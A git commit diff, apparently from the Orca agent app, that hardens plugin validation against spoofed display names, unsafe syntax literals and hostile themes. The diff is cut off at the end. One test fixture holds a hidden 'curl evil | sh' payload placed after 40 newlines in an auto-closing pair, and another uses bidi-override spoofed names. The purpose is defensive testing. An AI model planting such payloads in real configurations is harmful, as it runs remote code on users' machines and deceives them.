Orca is the place for working with a fleet of agents (e.g. Grok Bot, Claude Code). Run any coding agent with your own subscription. Available on desktop, mobile and remote runtime.
TypeScript adeagent-ideai-agentsautomationbotclaude-codecodexghosttygrok-bothermes-agentmobile-appmuseopenclawopencodeorchestrationpiruntimeterminalworktreesyc-backed
fix(plugins): harden security dialogs, syntax literals and display names against data plugins (#36220)
Neil6c86dec33494
diff --git a/config/scripts/validate-plugin-files.mjs b/config/scripts/validate-plugin-files.mjsindex a10d955e58e..a4deb4981fc 100644--- a/config/scripts/validate-plugin-files.mjs+++ b/config/scripts/validate-plugin-files.mjs@@ -34,6 +34,9 @@ const ARTIFACT_PARSERS = {const { parsePluginLanguagePackArtifact } = loadPluginSchemaModule('artifacts/plugin-language-pack-artifact.ts')+const { parsePluginLanguageConfiguration } = loadPluginSchemaModule(+ 'artifacts/plugin-syntax-artifact.ts'+)// Why strict here: Orca skips unknown theme tokens and icon slots at runtime, so authors only// learn about a typo from this check.@@ -68,6 +71,26 @@ function languagePackErrors(pluginDir, manifest) {})}+// Why: Orca drops an unsafe auto-closing pair or comment marker at load instead of failing.+function syntaxConfigurationErrors(pluginDir, manifest) {+ return manifest.contributes.syntaxes.flatMap((syntax) => {+ if (!syntax.configuration) {+ return []+ }+ let text = ''+ try {+ text = readFileSync(path.join(pluginDir, ...syntax.configuration.split('/')), 'utf8')+ parsePluginLanguageConfiguration(text, 'strict')+ return []+ } catch (error) {+ const detail = error.issues+ ? formatPluginSchemaIssues(error.issues, JSON.parse(text))+ : error.message+ return [`contributes.syntaxes "${syntax.id}" (${syntax.configuration}): ${detail}`]+ }+ })+}+async function git(cwd, args) {return (await gitExecFileAsync(args, { cwd })).stdout.trim()}@@ -181,7 +204,11 @@ for (const target of targets) {const errors = validatePluginFile(path.basename(file), raw, readCatalogFile)if (errors.length === 0 && path.basename(file) === 'orca-plugin.json') {const { manifest } = parsePluginManifest(raw)- errors.push(...artifactErrors(root, manifest), ...languagePackErrors(root, manifest))+ errors.push(+ ...artifactErrors(root, manifest),+ ...languagePackErrors(root, manifest),+ ...syntaxConfigurationErrors(root, manifest)+ )}for (const error of errors) {console.error(`${file}: ${error}`)diff --git a/src/main/skills/claude-plugin-skill-sources.ts b/src/main/skills/claude-plugin-skill-sources.tsindex b3407907976..917fc0cbc15 100644--- a/src/main/skills/claude-plugin-skill-sources.ts+++ b/src/main/skills/claude-plugin-skill-sources.ts@@ -1,7 +1,7 @@import { open, stat } from 'node:fs/promises'import { basename, isAbsolute, join, relative, sep, type posix } from 'node:path'import { stablePathId, type SkillScanRoot } from './skill-discovery-sources'-import { stripUnsafeDisplayCharacters } from '../../shared/skill-display-text'+import { stripUnsafeDisplayCharacters } from '../../shared/display-text-safety'const MAX_PLUGIN_METADATA_BYTES = 4 * 1024 * 1024diff --git a/src/renderer/src/assets/main.css b/src/renderer/src/assets/main.cssindex d6780be096f..37c2eceb079 100644--- a/src/renderer/src/assets/main.css+++ b/src/renderer/src/assets/main.css@@ -198,6 +198,8 @@--orca-security-border: #e5e5e5;--orca-security-input: #e5e5e5;--orca-security-ring: #a1a1a1;+ --orca-security-floating-surface: rgba(255, 255, 255, 0.82);+ --orca-security-dialog-surface: rgba(255, 255, 255, 0.96);--background: #fff;--editor-surface: #ffffff;--foreground: #0a0a0a;@@ -313,6 +315,8 @@--orca-security-border: rgb(255 255 255 / 0.07);--orca-security-input: rgb(255 255 255 / 0.15);--orca-security-ring: #737373;+ --orca-security-floating-surface: rgba(0, 0, 0, 0.72);+ --orca-security-dialog-surface: rgba(23, 23, 23, 0.96);--background: #0a0a0a;--editor-surface: #1e1e1e;--foreground: #fafafa;@@ -488,6 +492,9 @@--border: var(--orca-security-border);--input: var(--orca-security-input);--ring: var(--orca-security-ring);+ /* A plugin theme copies its --popover into these, so trust dialogs would paint on it. */+ --floating-surface: var(--orca-security-floating-surface);+ --dialog-surface: var(--orca-security-dialog-surface);}.linear-priority-bars {diff --git a/src/renderer/src/components/plugins/list/plugin-list-entries.test.ts b/src/renderer/src/components/plugins/list/plugin-list-entries.test.tsindex 625be37750d..6dc526a7359 100644--- a/src/renderer/src/components/plugins/list/plugin-list-entries.test.ts+++ b/src/renderer/src/components/plugins/list/plugin-list-entries.test.ts@@ -267,6 +267,15 @@ describe('plugin list entries', () => {expect(bare.name).not.toBe('')})+ it('strips characters that reorder or hide text, even from an older host', () => {+ const spoofed = pluginListEntryFromListing(+ listing('acme.dusk', { name: 'Dusk \u202elaiciffO', description: 'Quiet\n\u200btheme' })+ )+ expect(spoofed).toMatchObject({ name: 'Dusk laiciffO', description: 'Quiet theme' })+ const entries = buildPluginListEntries([installed('acme.dusk', '\u200b\u2066')], [])+ expect(entries.installed[0]?.name).toBe('Dusk')+ })+it('searches names, publishers, catalogs and categories', () => {const [entry] = buildPluginListEntries([], [listing('stablyai.orca-nord-theme')]).availableexpect(matchesPluginSearch(entry!, 'nord')).toBe(true)diff --git a/src/renderer/src/components/plugins/list/plugin-list-entries.ts b/src/renderer/src/components/plugins/list/plugin-list-entries.tsindex 9fd0e79a65e..fc22abd423c 100644--- a/src/renderer/src/components/plugins/list/plugin-list-entries.ts+++ b/src/renderer/src/components/plugins/list/plugin-list-entries.ts@@ -11,6 +11,7 @@ import {import { compareAppVersions } from '../../../../../shared/app-version'import { gitRepositoryOwnerLabel } from '../../../../../shared/plugins/catalog/plugin-marketplace'import { pluginDisplayNameFromKey } from './plugin-display-name'+import { sanitizePluginDisplayText } from '../../../../../shared/plugins/manifest/plugin-display-text'import type { PluginAutoUpdateState } from '../../../../../shared/plugins/catalog/plugin-update-policy'/** One plugin as the list and detail page show it, whether installed, listed, or both. */@@ -67,6 +68,11 @@ function installedVerifiedSource(: { kind: 'unverified' }}+// Why again here: hosts sanitize these too, but the list is where every name is read.+function listingText(value: string | undefined): string | null {+ return (value && sanitizePluginDisplayText(value)) || null+}+type PluginEntryAutoUpdate = { updatedTo: string | null; needsReview: boolean }const NO_AUTO_UPDATE: PluginEntryAutoUpdate = { updatedTo: null, needsReview: false }@@ -150,10 +156,10 @@ export function pluginListEntryFromInstalled(const updateVersion = newerCatalogVersion(plugin, listing, orcaVersion)return {pluginKey: plugin.pluginKey,- name: plugin.name,+ name: sanitizePluginDisplayText(plugin.name) || pluginDisplayNameFromKey(plugin.pluginKey),publisher: plugin.publisher || null,version: plugin.version,- description: plugin.description ?? listing?.description ?? null,+ description: listingText(plugin.description ?? listing?.description),official: plugin.official,categories: listing?.categories ?? [],types: listing?.release ? pluginCatalogReleaseTypes(listing.release) : (plugin.types ?? []),@@ -178,10 +184,12 @@ export function pluginListEntryFromListing(return {pluginKey: listing.pluginKey,// Why: older catalogs carry no release name; the key is the only name they have.- name: listing.name ?? listing.release?.name ?? pluginDisplayNameFromKey(listing.pluginKey),+ name:+ listingText(listing.name ?? listing.release?.name) ??+ pluginDisplayNameFromKey(listing.pluginKey),publisher: listing.marketplaceOwner || null,version: catalogVersion(listing),- description: listing.description ?? null,+ description: listingText(listing.description),official: listing.official,categories: listing.categories,types: listing.release ? pluginCatalogReleaseTypes(listing.release) : [],diff --git a/src/renderer/src/components/ui/security-surface-theme-contrast.test.tsx b/src/renderer/src/components/ui/security-surface-theme-contrast.test.tsxnew file mode 100644index 00000000000..e08db22a83c--- /dev/null+++ b/src/renderer/src/components/ui/security-surface-theme-contrast.test.tsx@@ -0,0 +1,105 @@+// @vitest-environment happy-dom+import '@testing-library/jest-dom/vitest'+import { readFileSync } from 'node:fs'+import { resolve } from 'node:path'+import { cleanup, render, screen } from '@testing-library/react'+import { afterEach, describe, expect, it } from 'vitest'+import { applyPluginAppTheme } from '@/lib/document-theme'+import { contrastRatio, type Rgba } from '@/lib/plugin-theme-tokens'+import { Dialog, DialogContent, DialogDescription, DialogTitle } from './dialog'++const css = readFileSync(resolve('src/renderer/src/assets/main.css'), 'utf8')+// Happy DOM only needs the token rules; Tailwind directives are compiled separately.+const tokenCss = [+ ...css.matchAll(/(?:^|\n)(:root[^{}]*|\.dark[^{}]*|\.plugin-security-chrome[^{}]*)\{([^{}]*)\}/g)+]+ .map((match) => match[0])+ .join('\n')+// Happy DOM resolves var() through ancestors but does not report inherited custom properties.+const paintedCss = `[data-slot='dialog-content'] {+ --painted-surface: var(--dialog-surface);+ --painted-text: var(--foreground);+}`++function parseColor(value: string): Rgba {+ const hex = /^#([0-9a-f]{2})([0-9a-f]{2})([0-9a-f]{2})$/i.exec(value)+ if (hex) {+ const [r = 0, g = 0, b = 0] = hex.slice(1).map((part) => Number.parseInt(part, 16))+ return [r, g, b, 1]+ }+ const rgb = /^rgba?\(([\d.]+)[,\s]+([\d.]+)[,\s]+([\d.]+)(?:[,\s/]+([\d.]+))?\)$/.exec(value)+ if (!rgb) {+ throw new Error(`Unparsed color: ${value}`)+ }+ const [r = 0, g = 0, b = 0, a = 1] = rgb.slice(1).map((part) => Number(part ?? 1))+ return [r, g, b, a]+}++function over([r, g, b, a]: Rgba, [br, bg, bb]: Rgba): Rgba {+ return [r * a + br * (1 - a), g * a + bg * (1 - a), b * a + bb * (1 - a), 1]+}++// Passes the theme's own popover contrast check, but is light grey on a dark base.+const hostileTheme = {+ id: 'plugin:hostile.theme/glare' as const,+ revision: 'r1',+ pluginKey: 'hostile.theme',+ pluginName: 'Glare',+ label: 'Glare',+ base: 'dark' as const,+ tokens: { '--popover': '#d4d4d4', '--popover-foreground': '#111111' }+}+const probe = (value: string): Rgba | null => {+ try {+ return parseColor(value)+ } catch {+ return null+ }+}+const darkBuiltIns = () => ({ '--background': '#0a0a0a', '--foreground': '#fafafa' })++afterEach(() => {+ cleanup()+ applyPluginAppTheme(null, { storage: null })+ document.head.innerHTML = ''+ document.documentElement.className = ''+})++function renderDialogUnderHostileTheme(surface: 'security' | 'default'): HTMLElement {+ document.documentElement.classList.add('dark')+ const sheet = document.createElement('style')+ sheet.textContent = `${tokenCss}\n${paintedCss}`+ document.head.append(sheet)+ applyPluginAppTheme(hostileTheme, { probe, builtIns: darkBuiltIns, storage: null })+ render(+ <Dialog open>+ <DialogContent surface={surface}>+ <DialogTitle>Install plugin?</DialogTitle>+ <DialogDescription>Only install plugins from people you trust.</DialogDescription>+ </DialogContent>+ </Dialog>+ )+ return screen.getByRole('dialog')+}++function textContrast(dialog: HTMLElement): number {+ const style = getComputedStyle(dialog)+ const appBackground = parseColor(+ getComputedStyle(document.documentElement).getPropertyValue('--background').trim()+ )+ const surface = over(+ parseColor(style.getPropertyValue('--painted-surface').trim()),+ appBackground+ )+ return contrastRatio(surface, parseColor(style.getPropertyValue('--painted-text').trim()))+}++describe('security dialogs under a hostile plugin theme', () => {+ it('keeps trust text readable on a host-owned dialog surface', () => {+ expect(textContrast(renderDialogUnderHostileTheme('security'))).toBeGreaterThanOrEqual(4.5)+ })++ it('applies the hostile surface to ordinary dialogs, so the case above is exercised', () => {+ expect(textContrast(renderDialogUnderHostileTheme('default'))).toBeLessThan(2)+ })+})diff --git a/src/shared/display-text-safety.ts b/src/shared/display-text-safety.tsnew file mode 100644index 00000000000..0ee4ad53fbb--- /dev/null+++ b/src/shared/display-text-safety.ts@@ -0,0 +1,13 @@+// Controls, format characters (bidi overrides, zero-width, tags) and line separators can reorder or+// hide text, so host labels and renderer pickers strip them with this one predicate.+const UNSAFE_DISPLAY_CHARACTER = /[\p{Cc}\p{Cf}\p{Cs}\p{Zl}\p{Zp}]/u+// ZWNJ and ZWJ are format characters that Persian, Indic scripts and emoji sequences need.+const SAFE_JOINERS = new Set(['\u200c', '\u200d'])++export function isSafeDisplayCharacter(character: string): boolean {+ return SAFE_JOINERS.has(character) || !UNSAFE_DISPLAY_CHARACTER.test(character)+}++export function stripUnsafeDisplayCharacters(value: string): string {+ return [...value].filter(isSafeDisplayCharacter).join('')+}diff --git a/src/shared/native-chat/input/native-chat-picker-items.ts b/src/shared/native-chat/input/native-chat-picker-items.tsindex bba976a5f05..562ef49b62e 100644--- a/src/shared/native-chat/input/native-chat-picker-items.ts+++ b/src/shared/native-chat/input/native-chat-picker-items.ts@@ -1,7 +1,7 @@import type { DiscoveredSkill, SkillSourceKind } from '../../skills'import { locatedPickerSkill, getSafeSkillName, isTokenSafe } from '../native-chat-reported-skill'import type { NativeChatSessionSkill, SlashCommandSuggestion } from './native-chat-slash-commands'-import { stripUnsafeDisplayCharacters } from '../../skill-display-text'+import { stripUnsafeDisplayCharacters } from '../../display-text-safety'import { compareBaseSensitivityLocaleText } from '../../locale-text-collators'export type NativeChatPickerItem =diff --git a/src/shared/native-chat/native-chat-reported-skill.ts b/src/shared/native-chat/native-chat-reported-skill.tsindex 474013f4958..0d3d2285724 100644--- a/src/shared/native-chat/native-chat-reported-skill.ts+++ b/src/shared/native-chat/native-chat-reported-skill.ts@@ -1,7 +1,7 @@import type { DiscoveredSkill } from '../skills'import type { NativeChatSessionSkill } from './input/native-chat-slash-commands'import type { NativeChatPickerItem } from './input/native-chat-picker-items'-import { isSafeDisplayCharacter, stripUnsafeDisplayCharacters } from '../skill-display-text'+import { isSafeDisplayCharacter, stripUnsafeDisplayCharacters } from '../display-text-safety'export function locatedPickerSkill(skill: NativeChatSessionSkill,diff --git a/src/shared/plugins/artifacts/plugin-syntax-artifact.test.ts b/src/shared/plugins/artifacts/plugin-syntax-artifact.test.tsindex e003a342b7a..a4b1116f914 100644--- a/src/shared/plugins/artifacts/plugin-syntax-artifact.test.ts+++ b/src/shared/plugins/artifacts/plugin-syntax-artifact.test.ts@@ -102,6 +102,25 @@ describe('plugin syntax artifacts', () => {expect(performance.now() - started).toBeLessThan(1_000)})+ it('keeps typed pairs and comment markers to a few printable characters on one line', () => {+ const payload = `${'\n'.repeat(40)}curl evil | sh`+ const raw = JSON.stringify({+ comments: { lineComment: '#\u202e', blockComment: ['<!--', '-->'] },+ autoClosingPairs: [+ { open: '*', close: payload },+ { open: '"""', close: '"""' }+ ],+ surroundingPairs: [{ open: '(', close: ')\u200b' }]+ })+ expect(() => parsePluginLanguageConfiguration(raw, 'strict')).toThrow(/printable/)+ // Hosts drop only the unsafe entries, so the language still loads.+ expect(parsePluginLanguageConfiguration(raw)).toEqual({+ comments: { blockComment: ['<!--', '-->'] },+ autoClosingPairs: [{ open: '"""', close: '"""' }],+ surroundingPairs: []+ })+ })+it('bounds language configuration and validates payloads at renderer ingress', () => {expect(parsePluginLanguageConfiguration(@@ -109,7 +128,7 @@ describe('plugin syntax artifacts', () => {)).toEqual({ comments: { lineComment: '//' }, brackets: [['{', '}']] })expect(() =>- parsePluginLanguageConfiguration(JSON.stringify({ brackets: [['', '}']] }))+ parsePluginLanguageConfiguration(JSON.stringify({ brackets: [['', '}']] }), 'strict')).toThrow()const payload = {id: 'plugin:samples.demo/demo',diff --git a/src/shared/plugins/artifacts/plugin-syntax-artifact.ts b/src/shared/plugins/artifacts/plugin-syntax-artifact.tsindex ab6225bafbb..bf4601dea45 100644--- a/src/shared/plugins/artifacts/plugin-syntax-artifact.ts+++ b/src/shared/plugins/artifacts/plugin-syntax-artifact.ts@@ -1,6 +1,7 @@import { z } from 'zod'import { isUtf8ByteLengthWithinLimit } from '../../utf8-byte-limits'import { pluginGrammarScopeSchema } from '../contributions/plugin-content-pack-contributions'+import type { PluginArtifactStrictness } from './plugin-theme-artifact'export const PLUGIN_SYNTAX_GRAMMAR_MAX_BYTES = 1024 * 1024export const PLUGIN_SYNTAX_CONFIGURATION_MAX_BYTES = 64 * 1024@@ -62,18 +63,43 @@ const grammarSchema = z.object({repository: z.record(repositoryKey, ruleSchema).default({})})-const literal = z.string().min(1).max(128)+// Why short, one line and printable: the editor types these as you type or toggle a comment, and+// real languages need a few characters at most (`<!--`, `"""`, `{{!--`).+const literal = z+ .string()+ .regex(+ /^[^\p{Cc}\p{Cf}\p{Cs}\p{Zl}\p{Zp}]{1,8}$/u,+ 'must be 1 to 8 printable characters on one line'+ )+// Why longer: brackets only match and color keywords such as `function`/`end`; they insert nothing.+const bracketLiteral = z+ .string()+ .regex(/^[^\p{Cc}\p{Cf}\p{Cs}\p{Zl}\p{Zp}]{1,128}$/u, 'must be printable text on one line')const pair = z.tuple([literal, literal])const closingPair = z.object({ open: literal, close: literal })-const configurationSchema = z.object({- comments: z.object({ lineComment: literal.optional(), blockComment: pair.optional() }).optional(),- brackets: z.array(pair).max(64).optional(),- autoClosingPairs: z.array(closingPair).max(64).optional(),- surroundingPairs: z.array(closingPair).max(64).optional()-})++/** `validate:plugin` refuses a bad literal; hosts drop just that entry so the language still loads. */+function configurationSchema(strictness: PluginArtifactStrictness) {+ const optional = <Item extends z.ZodType>(item: Item) =>+ strictness === 'strict' ? item.optional() : item.optional().catch(undefined)+ const list = <Item extends z.ZodType>(item: Item) =>+ strictness === 'strict'+ ? z.array(item).max(64)+ : z+ .array(optional(item))+ .max(64)+ .transform((items) => items.filter((entry) => entry !== undefined))+ return z.object({+ comments: optional(z.object({ lineComment: optional(literal), blockComment: optional(pair) })),+ brackets: list(z.tuple([bracketLiteral, bracketLiteral])).optional(),+ autoClosingPairs: list(closingPair).optional(),+ surroundingPairs: list(closingPair).optional()+ })+}+const tolerantConfigurationSchema = configurationSchema('tolerant')export type PluginGrammarArtifact = z.infer<typeof grammarSchema>-export type PluginLanguageConfiguration = z.infer<typeof configurationSchema>+export type PluginLanguageConfiguration = z.infer<typeof tolerantConfigurationSchema>function boundedJson(raw: string, limit: number): unknown {if (!isUtf8ByteLengthWithinLimit(raw, limit)) {@@ -103,8 +129,13 @@ export function parsePluginGrammarArtifact(raw: string, scopeName: string): Plugreturn grammar}-export function parsePluginLanguageConfiguration(raw: string): PluginLanguageConfiguration {- return configurationSchema.parse(boundedJson(raw, PLUGIN_SYNTAX_CONFIGURATION_MAX_BYTES))+export function parsePluginLanguageConfiguration(+ raw: string,+ strictness: PluginArtifactStrictness = 'tolerant'+): PluginLanguageConfiguration {+ return configurationSchema(strictness).parse(+ boundedJson(raw, PLUGIN_SYNTAX_CONFIGURATION_MAX_BYTES)+ )}function childRules(rule: GrammarRule): GrammarRule[] {@@ -185,7 +216,7 @@ const payloadSchema = z.object({revision: z.string(),scopeName: pluginGrammarScopeSchema,grammars: z.array(grammarSchema).min(1).max(16),- configuration: configurationSchema+ configuration: tolerantConfigurationSchema})/** What the editor needs to route files; grammars load only when a matching file opens. */diff --git a/src/shared/plugins/catalog/plugin-catalog-release.ts b/src/shared/plugins/catalog/plugin-catalog-release.tsindex 88ad4a247f4..6321d885a76 100644--- a/src/shared/plugins/catalog/plugin-catalog-release.ts+++ b/src/shared/plugins/catalog/plugin-catalog-release.ts@@ -1,4 +1,5 @@import { z } from 'zod'+import { safePluginDisplayText } from '../manifest/plugin-display-text'import {pluginExecutionAllows,pluginExecutionProfileSchema@@ -90,10 +91,7 @@ export const pluginCatalogReleaseSchema = z),uniqueItems: true}),- name: z- .string()- .min(1)- .max(128)+ name: safePluginDisplayText(z.string().min(1).max(128)).optional().meta(pluginFieldDoc(@@ -116,11 +114,9 @@ export const pluginCatalogReleaseSchema = z.array(z.strictObject({- label: z- .string()- .min(1)- .max(128)- .meta(pluginFieldDoc('Theme name.', NEXT, ['Dusk'])),+ label: safePluginDisplayText(z.string().min(1).max(128)).meta(+ pluginFieldDoc('Theme name.', NEXT, ['Dusk'])+ ),base: z.enum(['light', 'dark']).meta(pluginFieldDoc('Light or dark theme.', NEXT)),background: hexColor('Window background.'),foreground: hexColor('Main text.'),diff --git a/src/shared/plugins/catalog/plugin-catalog.ts b/src/shared/plugins/catalog/plugin-catalog.tsindex 3482a274448..ebe482ad830 100644--- a/src/shared/plugins/catalog/plugin-catalog.ts+++ b/src/shared/plugins/catalog/plugin-catalog.ts@@ -1,4 +1,5 @@import { z } from 'zod'+import { safePluginDisplayText } from '../manifest/plugin-display-text'import { pluginCatalogReleaseSchema, type PluginCatalogRelease } from './plugin-catalog-release'import { satisfiesOrcaEngineRange } from '../manifest/plugin-manifest-engine-range'import {@@ -39,10 +40,7 @@ export const pluginCatalogEntrySchema = z.object({id: marketplaceEntryFields.id,source: catalogV2GitSourceSchema,- description: z- .string()- .min(1)- .max(4_096)+ description: safePluginDisplayText(z.string().min(1).max(4_096)).optional().catch(undefined).meta(pluginFieldDoc('Listing text shown in the catalog.', NEXT)),diff --git a/src/shared/plugins/catalog/plugin-marketplace.ts b/src/shared/plugins/catalog/plugin-marketplace.tsindex ff8a631ece5..94b8f76e6a4 100644--- a/src/shared/plugins/catalog/plugin-marketplace.ts+++ b/src/shared/plugins/catalog/plugin-marketplace.ts@@ -1,4 +1,5 @@import { z } from 'zod'+import { safePluginDisplayText } from '../manifest/plugin-display-text'import { isAllowedPluginGitUrl } from '../installation/plugin-install-lockfile'import { isQualifiedPluginKey } from '../manifest/plugin-manifest'import { pluginCatalogReleaseSchema } from './plugin-catalog-release'@@ -121,10 +122,7 @@ export const marketplaceEntryFields = {)),source: pluginMarketplaceGitSourceSchema,- description: z- .string()- .min(1)- .max(4_096)+ description: safePluginDisplayText(z.string().min(1).max(4_096)).optional().meta(pluginFieldDoc('Listing text shown in the marketplace.', NEXT)),categories: z@@ -187,11 +185,9 @@ const pluginMarketplaceListingEntrySchema = z.superRefine(rejectDuplicateCategories)export const marketplaceHeaderFields = {- name: z- .string()- .min(1)- .max(256)- .meta(pluginFieldDoc('Catalog display name.', NEXT, ['Orca Plugins'])),+ name: safePluginDisplayText(z.string().min(1).max(256)).meta(+ pluginFieldDoc('Catalog display name.', NEXT, ['Orca Plugins'])+ ),owner: marketplaceOwnerSchema.meta(pluginFieldDoc('Account that publishes the catalog.', NEXT, ['stablyai']))diff --git a/src/shared/plugins/contributions/plugin-command-contribution.ts b/src/shared/plugins/contributions/plugin-command-contribution.tsindex e9a27ea6018..64dbb068204 100644--- a/src/shared/plugins/contributions/plugin-command-contribution.ts+++ b/src/shared/plugins/contributions/plugin-command-contribution.ts@@ -1,4 +1,5 @@import { z } from 'zod'+import { safePluginDisplayText } from '../manifest/plugin-display-text'import {PLUGIN_COMMAND_ACTION_SINCE,PLUGIN_COMMAND_ALIAS_ACTION_IDS@@ -35,15 +36,11 @@ export const pluginCommandContributionSchema = z['jupyter.restartKernel'])),- title: z- .string()- .min(1)- .max(256)- .meta(- pluginFieldDoc('Title shown in the command palette.', PLUGIN_SCHEMA_SINCE_V1, [- 'Restart kernel'- ])- ),+ title: safePluginDisplayText(z.string().min(1).max(256)).meta(+ pluginFieldDoc('Title shown in the command palette.', PLUGIN_SCHEMA_SINCE_V1, [+ 'Restart kernel'+ ])+ ),when: pluginCommandWhenSchema.optional().meta({...pluginFieldDoc('Where the command is available. `workspace` hides it when no workspace is active. Defaults to `global`.',diff --git a/src/shared/plugins/contributions/plugin-content-pack-contributions.ts b/src/shared/plugins/contributions/plugin-content-pack-contributions.tsindex 90aa8017877..6954433aa6f 100644--- a/src/shared/plugins/contributions/plugin-content-pack-contributions.ts+++ b/src/shared/plugins/contributions/plugin-content-pack-contributions.ts@@ -1,4 +1,5 @@import { z } from 'zod'+import { safePluginDisplayText } from '../manifest/plugin-display-text'import {pluginCommandIdSchema,pluginIdSchema,@@ -55,11 +56,7 @@ export const pluginLanguagePackContributionSchema = z'locales/pt-BR.json'])),- displayName: z- .string()- .trim()- .min(1)- .max(80)+ displayName: safePluginDisplayText(z.string().trim().min(1).max(80)).optional().meta(pluginFieldDoc(@@ -132,11 +129,9 @@ export const pluginThemeContributionSchema = z['dusk'])),- title: z- .string()- .min(1)- .max(128)- .meta(pluginFieldDoc('Name shown in the theme picker.', PLUGIN_MANIFEST_V2_SINCE, ['Dusk'])),+ title: safePluginDisplayText(z.string().min(1).max(128)).meta(+ pluginFieldDoc('Name shown in the theme picker.', PLUGIN_MANIFEST_V2_SINCE, ['Dusk'])+ ),path: pluginRelativePathSchema.meta(pluginPathFieldDoc('JSON theme file, at most 16 KiB.', PLUGIN_MANIFEST_V2_SINCE, ['themes/dusk.json'@@ -161,13 +156,9 @@ export const pluginSyntaxContributionSchema = z['gleam'])),- title: z- .string()- .min(1)- .max(128)- .meta(- pluginFieldDoc('Language name shown in the editor.', PLUGIN_MANIFEST_V2_SINCE, ['Gleam'])- ),+ title: safePluginDisplayText(z.string().min(1).max(128)).meta(+ pluginFieldDoc('Language name shown in the editor.', PLUGIN_MANIFEST_V2_SINCE, ['Gleam'])+ ),scopeName: pluginGrammarScopeSchema.meta(pluginFieldDoc("The grammar's root TextMate scope, unique among this plugin's syntaxes.",diff --git a/src/shared/plugins/contributions/plugin-contribution-summary.ts b/src/shared/plugins/contributions/plugin-contribution-summary.tsindex 1a338603f1f..5d7af5302cd 100644--- a/src/shared/plugins/contributions/plugin-contribution-summary.ts+++ b/src/shared/plugins/contributions/plugin-contribution-summary.ts@@ -1,4 +1,5 @@import { z } from 'zod'+import { safePluginDisplayText } from '../manifest/plugin-display-text'import {PLUGIN_CONTRIBUTION_POINTS,type PluginContributionPoint@@ -24,11 +25,9 @@ export const pluginContributionSummarySchema = zkind: z.enum(PLUGIN_CONTRIBUTION_POINTS).meta(pluginFieldDoc('Contribution point.', NEXT, ['themes'])),- name: z- .string()- .min(1)- .max(160)- .meta(pluginFieldDoc('What the item is called in Orca.', NEXT, ['Dusk'])),+ name: safePluginDisplayText(z.string().min(1).max(160)).meta(+ pluginFieldDoc('What the item is called in Orca.', NEXT, ['Dusk'])+ ),detail: z.string().min(1)diff --git a/src/shared/plugins/contributions/plugin-custom-editor-contribution.ts b/src/shared/plugins/contributions/plugin-custom-editor-contribution.tsindex fe19ec5e9ad..60ca9f17c32 100644--- a/src/shared/plugins/contributions/plugin-custom-editor-contribution.ts+++ b/src/shared/plugins/contributions/plugin-custom-editor-contribution.ts@@ -1,4 +1,5 @@import { z } from 'zod'+import { safePluginDisplayText } from '../manifest/plugin-display-text'import { pluginIdSchema, pluginRelativePathSchema } from '../manifest/plugin-manifest-fields'import {pluginFieldDoc,@@ -25,17 +26,13 @@ export const pluginCustomEditorContributionSchema = z['excalidraw'])),- title: z- .string()- .min(1)- .max(64)- .meta(- pluginFieldDoc(- "Name shown in the editor's view toggle beside Source, and on the tab of a file it opens.",- PLUGIN_MANIFEST_V2_SINCE,- ['Excalidraw']- )- ),+ title: safePluginDisplayText(z.string().min(1).max(64)).meta(+ pluginFieldDoc(+ "Name shown in the editor's view toggle beside Source, and on the tab of a file it opens.",+ PLUGIN_MANIFEST_V2_SINCE,+ ['Excalidraw']+ )+ ),icon: pluginRelativePathSchema.optional().meta(diff --git a/src/shared/plugins/contributions/plugin-new-file-contribution.ts b/src/shared/plugins/contributions/plugin-new-file-contribution.tsindex c0218269147..72ed3d923ae 100644--- a/src/shared/plugins/contributions/plugin-new-file-contribution.ts+++ b/src/shared/plugins/contributions/plugin-new-file-contribution.ts@@ -1,4 +1,5 @@import { z } from 'zod'+import { safePluginDisplayText } from '../manifest/plugin-display-text'import { pluginIdSchema, pluginRelativePathSchema } from '../manifest/plugin-manifest-fields'import {pluginFieldDoc,@@ -21,17 +22,13 @@ export const pluginNewFileContributionSchema = z['drawing'])),- title: z- .string()- .min(1)- .max(64)- .meta(- pluginFieldDoc(- 'Menu item shown in the tab bar + menu and the command palette.',- PLUGIN_MANIFEST_V2_SINCE,- ['New Excalidraw drawing']- )- ),+ title: safePluginDisplayText(z.string().min(1).max(64)).meta(+ pluginFieldDoc(+ 'Menu item shown in the tab bar + menu and the command palette.',+ PLUGIN_MANIFEST_V2_SINCE,+ ['New Excalidraw drawing']+ )+ ),extension: pluginFileExtensionSchema.meta(pluginFieldDoc('Suffix, with the dot, of the untitled file it creates. The file opens in whatever editor takes that suffix, such as a custom editor from this plugin.',diff --git a/src/shared/plugins/contributions/plugin-panel-contribution.ts b/src/shared/plugins/contributions/plugin-panel-contribution.tsindex a54efc5e56f..f74fbe43b6f 100644--- a/src/shared/plugins/contributions/plugin-panel-contribution.ts+++ b/src/shared/plugins/contributions/plugin-panel-contribution.ts@@ -1,4 +1,5 @@import { z } from 'zod'+import { safePluginDisplayText } from '../manifest/plugin-display-text'import { pluginIdSchema, pluginRelativePathSchema } from '../manifest/plugin-manifest-fields'import {pluginPathFieldDoc,@@ -59,15 +60,11 @@ export const pluginPanelContributionSchema = z['dashboard'])),- title: z- .string()- .min(1)- .max(256)- .meta(- pluginFieldDoc('Title shown on the panel tab and its tooltip.', PLUGIN_SCHEMA_SINCE_V1, [- 'Dashboard'- ])- ),+ title: safePluginDisplayText(z.string().min(1).max(256)).meta(+ pluginFieldDoc('Title shown on the panel tab and its tooltip.', PLUGIN_SCHEMA_SINCE_V1, [+ 'Dashboard'+ ])+ ),icon: z.enum(PLUGIN_PANEL_ICONS).optional()diff --git a/src/shared/plugins/installation/plugin-file-validation.ts b/src/shared/plugins/installation/plugin-file-validation.tsindex 24b6deead3f..3d36aa2336d 100644--- a/src/shared/plugins/installation/plugin-file-validation.ts+++ b/src/shared/plugins/installation/plugin-file-validation.ts@@ -20,6 +20,10 @@ import {type PluginImageKind} from '../images/plugin-image-fields'import { formatPluginSchemaIssues } from '../manifest/plugin-schema-issues'+import {+ UNSAFE_PLUGIN_DISPLAY_TEXT_MESSAGE,+ unsafePluginDisplayTextPaths+} from '../manifest/plugin-display-text'/*** Strict checks for authors and catalog CI. The runtime reads catalogs tolerantly (skipping,@@ -66,11 +70,13 @@ function validatePluginCatalog(raw: unknown, readCatalogFile?: PluginCatalogFileif (!parsed.success) {return [formatPluginSchemaIssues(parsed.error.issues, raw)]}+ const errors = unsafePluginDisplayTextPaths(raw).map(+ (path) => `${path}: ${UNSAFE_PLUGIN_DISPLAY_TEXT_MESSAGE}`+ )const entries: unknown[] =typeof raw === 'object' && raw !== null && 'plugins' in raw && Array.isArray(raw.plugins)? raw.plugins: []- const errors: 